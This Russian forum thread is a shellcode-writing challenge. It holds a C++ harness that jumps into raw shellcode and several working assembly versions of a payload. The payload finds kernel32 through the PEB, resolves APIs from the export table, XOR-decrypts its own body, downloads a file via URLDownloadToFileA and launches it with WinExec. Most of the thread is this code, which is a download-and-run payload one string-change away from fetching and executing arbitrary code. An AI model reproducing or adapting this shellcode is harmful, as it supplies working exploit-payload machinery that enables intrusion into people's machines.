Пишем компактный шелл-код
Обычно шелл-коды загружают что-то на машину и запускают ЭТО.
Давайте мы будем не запускать, а открывать в блокноте.
Т.о. условие предлагаю такое:
Код должен загружать файл из интернета в директорию %Temp% и открывать его в блокноте (notepad.exe).
Коректность завершения программы желательна, но не обязательна, главное, чтоб появился блокнот с содержимым файла.
Добиваемся самого компактного кода.
Писать можно на чем угодно.
Т.к. это шелл-код, то естественно, он должен быть независимым от своего местоположения в памяти. Соотв-но, ниже привожу фреймворк для запуска шелл-кодов, который и будем использовать для проверки работоспособности:
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
if(argc < 2) {
cerr << "Usage: " << argv[0] <<" <shell_code_file>" << endl;
return -1;
}
HANDLE file = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if(INVALID_HANDLE_VALUE == file) {
cerr << "ERROR: Can't open " << argv[1] << endl;
return -1;
}
DWORD size = GetFileSize(file, NULL);
PBYTE buff = new BYTE[size+1];
DWORD bytes;
if(ReadFile(file, buff, size, &bytes, NULL) == FALSE) {
cerr << "ERROR while reading file " << argv[1] << endl;
return -1;
}
cout << "Let's do it!" << endl;
buff[bytes] = 0xC3;
((void(*)())buff)();
return 0;
}
P.S. Хм... интересно, будут желающие попробовать свои силы?
Так же неплохо было бы ознакомиться с каким-нибудь примером решения это задачи неэффективным, но наиболее понятным образом. Чтобы какой-то образец был.
А можно небольшой ликбез? Понятно, что есть Гугл и всё такое. Однако поиск даёт в основном то, что эти коды используются как вирусы. Могу, предположить, что его можно использовать, как добавку к какому-нибудь инсталлятору (типа, плагин). Но это мало вдохновляет. Может есть еще какие-нибудь назначения?
Ну в общем то, основное применение - как часть эксплоита. Эксплоит - это не вирус, это способ его внедрения. :)
http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B4_%D0%BE%D0%B1%D0%BE%D0%BB%D0%BE%D1%87%D0%BA%D0%B8
Но можно придумать и др. назначения. Основная особенность - малый размер и автономность (в смысле, куда бросят, там и заработает).
Так же неплохо было бы ознакомиться с каким-нибудь примером решения это задачи неэффективным, но наиболее понятным образом. Чтобы какой-то образец был.
Вот постепенно и узнаем, если будут желающие потренироваться.
Предполагаю, что код поставленной задачи может быть меньше полукилобайта.
Для начала, можешь просто попробовать решить задачу по загрузке файла и открытии его в блокноте.
Потом, можно попробовать сделать код автономным.
А потом и оптимизацией заняться на низком уровне.
P.S. Хм... интересно, будут желающие попробовать свои силы?
ну от чего же - можно и попробовать.
Только уточнение - написать самый компактный код работающий в большинстве случаев? Или работающий при открытом периметре безопасности - т.е. не заморачиваемся на фаерволы, прокси и пр.?
вроде тема не называется "Как выглядет шелкод"? Или я чего не прочел?
Phodopus
Ну чего только вындус? :) если человек сумеет в "Блокноте" открыть файл во фри - че ему пропадать чтоли? :)
Я думаю что если у автора есть возможность проверить на нескольких системах - то это стоит указать. В противном случае при выкладывании результата стоит указывать ОС, установленный сервис-пак, билд, и статус последних обновлений типа чтото этого "с установленными критическими обновлениями по 2009/07/16" например.
Ога :) Ну так оно как-то лучше. Я если че еще и пример ентого экзешника хотел, но думаю можно и без ориентаций на кодогенератор пробовать.
Пусть будет Windows XP SP3, детальнее, наверное, не надо, мы же не сплойт пишем.
Кстати, ещё дополнение: не привязываемся к адресам функций в стандартных DLL.
Что касается FW и прокси... тут уж на любителя :)
Давайте начнем от простого - без FW и прокси.
А можно заложить и стандартные настройки IE.
P.S. _lobster_, подсказывать нехорошо :)
Хотя, конечно можно пользоваться любыми источниками. Мы же не ради победы, а знаний и опыта для...
Так что простое копирование кода никому не интересно.
Тогда попробую я. Т.к. ни разу такие штуки не писал, последую плану Green'a[QUOTE="Green"]Для начала, можешь просто попробовать решить задачу по загрузке файла и открытии его в блокноте.
Потом, можно попробовать сделать код автономным.
А потом и оптимизацией заняться на низком уровне.[/QUOTE]
Итак, просто загрузка файла и открытие в блокноте
#include <iostream>
using namespace std;
int main()
{
cout << "Download file from codenet.ru" << endl;
HINSTANCE hiLib = LoadLibrary("urlmon.dll");
if (!hiLib)
{
cout << "LoadLibrary failed" << endl;
return -1;
}
typedef int* LPBINDSTATUSCALLBACK;
typedef HRESULT (__stdcall *MYPROC)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK);
MYPROC pURLDownloadToFileA = (MYPROC) GetProcAddress(hiLib, "URLDownloadToFileA");
if (!pURLDownloadToFileA)
{
cout << "GetProcAddress failed" << endl;
FreeLibrary(hiLib);
return -1;
}
cout << "Downloading started..." << endl;
(*pURLDownloadToFileA)(NULL, "http://forum.codenet.ru/showthread.php?t=56040", "C:\\yes.htm", 0, NULL);
FreeLibrary(hiLib);
cout << "Complited successfully" << endl;
return 0;
}
MASM32 v10
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
.data
szLib db "urlmon.dll",0
szURLDownloadToFileA db "URLDownloadToFileA",0
szURL db "http://forum.codenet.ru/showthread.php?t=56040"
szFileName db "downloaded.htm",0
szComplited db "Complited successfully",0
hiLib HINSTANCE NULL
URLDownloadToFileA dd 0
szCmdLine db "notepad "
szPath db 128 dup (0)
.code
start:
invoke LoadLibrary, addr szLib
mov hiLib, eax
invoke GetProcAddress, hiLib, addr szURLDownloadToFileA
mov URLDownloadToFileA, eax
invoke GetTempPathA, 128, addr szPath
add eax, offset szPath
mov ecx, 15
mov esi, offset szFileName
mov edi, eax
rep movsb
push NULL
push 0
push offset szPath
push offset szURL
push NULL
call URLDownloadToFileA
invoke WinExec, addr szCmdLine, SW_SHOW
invoke FreeLibrary, hiLib
invoke ExitProcess, 0
end start
Итак, смещение, базовый адрес kernel32 и адреса API (но пока с нулевыми байтами)
.model flat, stdcall
option casemap: none
option m510
.data
_LoadLibraryA dd 0
_GetProcAddress dd 0
_GetTempPathA dd 0
_WinExec dd 0
_URLDownloadToFileA dd 0
szApiFuncNameArray db "LoadLibraryA",0
db "GetProcAddress",0
db "GetTempPathA",0
db "WinExec",0
db 0BBh ; конец массива
APIAdr dd 0
APIfunct dd 0
Counter dd 0
kernel dd 0
AddressTableVA dd 0
OrdinalTableVA dd 0
szLib db "urlmon.dll",0
szURLDownloadToFileA db "URLDownloadToFileA",0
szURL db "http://forum.codenet.ru/showthread.php?t=56040"
szFileName db "downloaded.htm",0
szCmdLine db "notepad "
szPath db 128 dup (0)
.code
start:
pushad
pushfd
; определим текущий адрес
call delta
delta:
pop ebp
sub ebp, offset delta
;sub ebp, 2 ; pushad - 1 byte, pushfd - 1 byte
; получим базовый адрес kernel32.dll в NT
xor eax, eax
assume fs: flat
mov eax, dword ptr fs: [30h]
mov eax, [eax + 0Ch]
mov esi, [eax + 1Ch]
lodsd
mov eax, [eax + 08h]
; инициализация переменных
mov [kernel + ebp], eax
mov [APIAdr + ebp], offset _LoadLibraryA
mov [APIfunct + ebp], offset szApiFuncNameArray
; получим адреса некоторых функций API
push esi
push edi
mov esi, APIfunct
add esi, ebp
mov edi, APIAdr
add edi, ebp
call GetAPIs
pop edi
pop esi
; получим расположение папки Temp
mov ebx, offset szPath
add ebx, ebp
push ebx
push 128 ; размер буфера
call dword ptr [_GetTempPathA + ebp]
; сформируем полное имя сохраняемого файла
add eax, offset szPath
add eax, ebp
mov ecx, 15 ; длина строки "downloaded.htm",0
mov esi, offset szFileName
add esi, ebp
mov edi, eax
add edi, ebp
rep movsb
; загрузим urlmon.dll и получим адрес функции URLDownloadToFileA
mov eax, offset szLib
add eax, ebp
push eax
call dword ptr [_LoadLibraryA + ebp]
mov ebx, offset szURLDownloadToFileA
add ebx, ebp
push ebx
push eax
call dword ptr [_GetProcAddress + ebp]
; загрузим файл из инета
push 0
push 0
mov ebx, offset szPath
add ebx, ebp
push ebx
mov ebx, offset szURL
add ebx, ebp
push ebx
push 0
call eax
; запустим блокнот с файлом
push 5 ; SW_SHOW
mov ebx, offset szCmdLine
add ebx, ebp
push ebx
call dword ptr [_WinExec + ebp]
; восстановим регистры и выйдем
popfd
popad
ret
; следующие две функции стянуты из туториала Billy Belcebu
GetAPI proc
; НА ВХОДЕ . ESI : Указатель на имя функции (чувствительна к регистру) ;
; НА ВЫХОДЕ . EAX : Адрес функции API
mov edx,esi ; Сохраняем указатель на имя
@_1: cmp byte ptr [esi],0 ; Конец строки?
jz @_2 ; Да, все в порядке.
inc esi ; Нет, продолжаем поиск
jmp @_1
@_2: inc esi ; хех, не забудьте об этом
sub esi,edx ; ESI = размер имени функции
mov ecx,esi ; ECX = ESI :)
xor eax,eax ; EAX = 0
mov word ptr [ebp+Counter],ax ; Устанавливаем счетчик в 0
mov esi,[ebp+kernel] ; Получаем смещение
; PE-заголовка KERNEL32
add esi,3Ch
lodsw ; в AX
add eax,[ebp+kernel] ; Нормализуем его
mov esi,[eax+78h] ; Получаем RVA таблицы
; экспортов
add esi,[ebp+kernel] ; Указатель на RVA таблицы
; адресов
add esi,1Ch
lodsd ; EAX = RVA таблицы адресов
add eax,[ebp+kernel] ; Нормализуем
mov dword ptr [ebp+AddressTableVA],eax ; Сохраняем его в форме VA
lodsd ; EAX = Name Ptrz Table RVA
add eax,[ebp+kernel] ; Normalize
push eax ; mov [ebp+NameTableVA],eax
lodsd ; EAX = Ordinal Table RVA
add eax,[ebp+kernel] ; Normalize
mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form
pop esi ; ESI = Name Ptrz Table VA
@_3: push esi ; Save ESI for l8r restore
lodsd ; Get value ptr ESI in EAX
add eax,[ebp+kernel] ; Normalize
mov esi,eax ; ESI = VA of API name
mov edi,edx ; EDI = ptr to wanted API
push ecx ; ECX = API size
cld ; Clear direction flag
rep cmpsb ; Compare both API names
pop ecx ; Restore ECX
jz @_4 ; Jump if APIs are 100% equal
pop esi ; Restore ESI
add esi,4 ; And get next value of array
inc word ptr [ebp+Counter] ; Increase counter
jmp @_3 ; Loop again
@_4: pop esi ; Avoid shit in stack
movzx eax,word ptr [ebp+Counter] ; Get in AX the counter
shl eax,1 ; EAX = AX * 2
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; EAX = 0, ESI = ptr to Ord
lodsw ; Get Ordinal in AX
shl eax,2 ; EAX = AX * 4
add eax,dword ptr [ebp+AddressTableVA] ; Normalize
mov esi,eax ; ESI = ptr to Address RVA
lodsd ; EAX = Address RVA
add eax,[ebp+kernel] ; Normalize and all is done.
ret
GetAPI endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-
GetAPIs proc
; INPUT . ESI : Указатель на имя первой желаемой API-функции в формате ;
; ASCIIz ;
; . EDI : Указатель на переменную, которая содержит первую желаемую ;
; API-функцию ;
; OUTPUT . Ничего ;
; ;
; Для получения всех этих значений я буду использовать следующую структуру:;
; ;
; ESI указывает на --. db "FindFirstFileA",0 ;
; db "FindNextFileA",0 ;
; db "CloseHandle",0 ;
; [...] ;
; db 0BBh ; Отмечает конец массива ;
; ;
; EDI указывает на --. dd 00000000h ; Будущий адрес FFFA ;
; dd 00000000h ; Будущий адрес FNFA ;
; dd 00000000h ; Будущий адрес CH ;
; [...] ;
@@1: push esi
push edi
call GetAPI
pop edi
pop esi
stosd
@@2: cmp byte ptr [esi],0
jz @@3
inc esi
jmp @@2
@@3: cmp byte ptr [esi+1],0BBh
jz @@4
inc esi
jmp @@1
@@4: ret
GetAPIs endp
end start
Исходник:
.model flat, stdcall
option casemap: none
option m510
assume fs: nothing
.code
start:
pushad
pushfd
; определим текущий адрес
jmp short delta1
delta2:
pop ebp
jmp short delta3
delta1:
call delta2
delta3:
; расшифровка
xor ecx, ecx
decrypt_loop:
xor byte ptr [ebp + ecx + 0Fh], 90h
inc ecx
cmp cx, 599 ; кол-во байт для расшифровки
jne decrypt_loop
start_decrypt:
; delta-смещение
sub ebp, offset delta2
sub ebp, 8
; получим базовый адрес kernel32.dll в NT
xor eax, eax
mov eax, dword ptr fs: [30h]
mov eax, [eax + 0Ch]
mov esi, [eax + 1Ch]
lodsd
mov eax, [eax + 08h]
; инициализация переменных
mov [kernel + ebp], eax
; получим адреса некоторых функций API
push esi
push edi
lea esi, [ebp + APIfunct]
lea edi, [ebp + APIAdr]
call GetAPIs
pop edi
pop esi
; получим расположение папки Temp
mov ebx, offset szPath
add ebx, ebp
push ebx
push 128 ; размер буфера
call dword ptr [_GetTempPathA + ebp]
; сформируем полное имя сохраняемого файла
mov ecx, 15 ; длина строки "downloaded.htm",0
mov esi, offset szFileName
add esi, ebp
mov edi, offset szPath
add edi, ebp
add edi, eax
rep movsb
; загрузим urlmon.dll и получим адрес функции URLDownloadToFileA
mov eax, offset szLib
add eax, ebp
push eax
call dword ptr [_LoadLibraryA + ebp]
mov ebx, offset szURLDownloadToFileA
add ebx, ebp
push ebx
push eax
call dword ptr [_GetProcAddress + ebp]
; загрузим файл из инета
push 0
push 0
mov ebx, offset szPath
add ebx, ebp
push ebx
mov ebx, offset szURL
add ebx, ebp
push ebx
push 0
call eax
; запустим блокнот с файлом
push 5 ; SW_SHOW
mov ebx, offset szCmdLine
add ebx, ebp
push ebx
call dword ptr [_WinExec + ebp]
; восстановим регистры и выйдем
popfd
popad
ret
; data
APIAdr:
_LoadLibraryA dd 0
_GetProcAddress dd 0
_GetTempPathA dd 0
_WinExec dd 0
_URLDownloadToFileA dd 0
APIfunct:
db "LoadLibraryA",0
db "GetProcAddress",0
db "GetTempPathA",0
db "WinExec",0
db 0BBh ; конец массива
Counter dd 0
kernel dd 0
AddressTableVA dd 0
OrdinalTableVA dd 0
szLib db "urlmon.dll",0
szURLDownloadToFileA db "URLDownloadToFileA",0
szURL db "http://forum.codenet.ru/showthread.php?t=56040"
szFileName db "downloaded.htm",0
szCmdLine db "notepad "
szPath db ? ;128 dup (0)
; следующие две функции стянуты из туториала Billy Belcebu
GetAPI proc
; НА ВХОДЕ . ESI : Указатель на имя функции (чувствительна к регистру) ;
; НА ВЫХОДЕ . EAX : Адрес функции API
mov edx,esi ; Сохраняем указатель на имя
@_1: cmp byte ptr [esi],0 ; Конец строки?
jz @_2 ; Да, все в порядке.
inc esi ; Нет, продолжаем поиск
jmp @_1
@_2: inc esi ; хех, не забудьте об этом
sub esi,edx ; ESI = размер имени функции
mov ecx,esi ; ECX = ESI :)
xor eax,eax ; EAX = 0
mov word ptr [ebp+Counter],ax ; Устанавливаем счетчик в 0
mov esi,[ebp+kernel] ; Получаем смещение
; PE-заголовка KERNEL32
add esi,3Ch
lodsw ; в AX
add eax,[ebp+kernel] ; Нормализуем его
mov esi,[eax+78h] ; Получаем RVA таблицы
; экспортов
add esi,[ebp+kernel] ; Указатель на RVA таблицы
; адресов
add esi,1Ch
lodsd ; EAX = RVA таблицы адресов
add eax,[ebp+kernel] ; Нормализуем
mov dword ptr [ebp+AddressTableVA],eax ; Сохраняем его в форме VA
lodsd ; EAX = Name Ptrz Table RVA
add eax,[ebp+kernel] ; Normalize
push eax ; mov [ebp+NameTableVA],eax
lodsd ; EAX = Ordinal Table RVA
add eax,[ebp+kernel] ; Normalize
mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form
pop esi ; ESI = Name Ptrz Table VA
@_3: push esi ; Save ESI for l8r restore
lodsd ; Get value ptr ESI in EAX
add eax,[ebp+kernel] ; Normalize
mov esi,eax ; ESI = VA of API name
mov edi,edx ; EDI = ptr to wanted API
push ecx ; ECX = API size
cld ; Clear direction flag
rep cmpsb ; Compare both API names
pop ecx ; Restore ECX
jz @_4 ; Jump if APIs are 100% equal
pop esi ; Restore ESI
add esi,4 ; And get next value of array
inc word ptr [ebp+Counter] ; Increase counter
jmp @_3 ; Loop again
@_4: pop esi ; Avoid shit in stack
movzx eax,word ptr [ebp+Counter] ; Get in AX the counter
shl eax,1 ; EAX = AX * 2
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; EAX = 0, ESI = ptr to Ord
lodsw ; Get Ordinal in AX
shl eax,2 ; EAX = AX * 4
add eax,dword ptr [ebp+AddressTableVA] ; Normalize
mov esi,eax ; ESI = ptr to Address RVA
lodsd ; EAX = Address RVA
add eax,[ebp+kernel] ; Normalize and all is done.
ret
GetAPI endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-
GetAPIs proc
; INPUT . ESI : Указатель на имя первой желаемой API-функции в формате ;
; ASCIIz ;
; . EDI : Указатель на переменную, которая содержит первую желаемую ;
; API-функцию ;
; OUTPUT . Ничего ;
; ;
; Для получения всех этих значений я буду использовать следующую структуру:;
; ;
; ESI указывает на --. db "FindFirstFileA",0 ;
; db "FindNextFileA",0 ;
; db "CloseHandle",0 ;
; [...] ;
; db 0BBh ; Отмечает конец массива ;
; ;
; EDI указывает на --. dd 00000000h ; Будущий адрес FFFA ;
; dd 00000000h ; Будущий адрес FNFA ;
; dd 00000000h ; Будущий адрес CH ;
; [...] ;
@@1: push esi
push edi
call GetAPI
pop edi
pop esi
stosd
@@2: cmp byte ptr [esi],0
jz @@3
inc esi
jmp @@2
@@3: cmp byte ptr [esi+1],0BBh
jz @@4
inc esi
jmp @@1
@@4: ret
GetAPIs endp
end start
Шелл-код (626 байт и еще есть что оптимизировать) тестировался на WinXP SP3